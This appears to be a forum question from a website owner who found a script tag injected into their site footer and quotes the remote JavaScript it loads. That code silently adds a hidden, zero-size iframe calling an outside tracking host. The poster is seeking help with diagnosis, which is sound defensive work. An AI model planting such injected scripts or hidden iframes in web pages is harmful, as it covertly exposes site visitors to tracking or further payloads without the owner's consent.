I found this code in the footer of my site:

<script type="text/javascript" async="async" src="http://www.topadtackers.com/query.php"></script>
If you follow that link, it takes you to a page with this code:

<html><head></head><body>SecBanner = {                   init: function () { 			this.dodiv();	                       //document.write('<div id="SecAD" style="visibility:hidden; display:none;"></div>');                       var ad = document.createElement('iframe');                       var url = 'http://www.topadtackers.com/track.php?w=470008604&amp;sh=7297e42f430cb7404fad83e64352409c';                       ad.setAttribute('src', url);                       ad.src = url;                       ad.setAttribute('style', 'display:none; width: 0px; height 0px; border: none; visibility:hidden');                       ad.style.visibility = 'hidden';                       ad.style.display = 'none';                       var div = document.getElementById('SecAD'); 			if(div == null) { 				var div = document.getElementById('footer'); 			} 			if(div == null) { 				var div = document.getElementsByTagName('body')[0]; 			}                        div.appendChild(ad);                   }, 		dodiv: function() {                         document.write('<div id="SecAD" style="visibility:hidden; display:none;"></div>'); 		}               }               SecBanner.init();</body></html>
Any idea what that code does?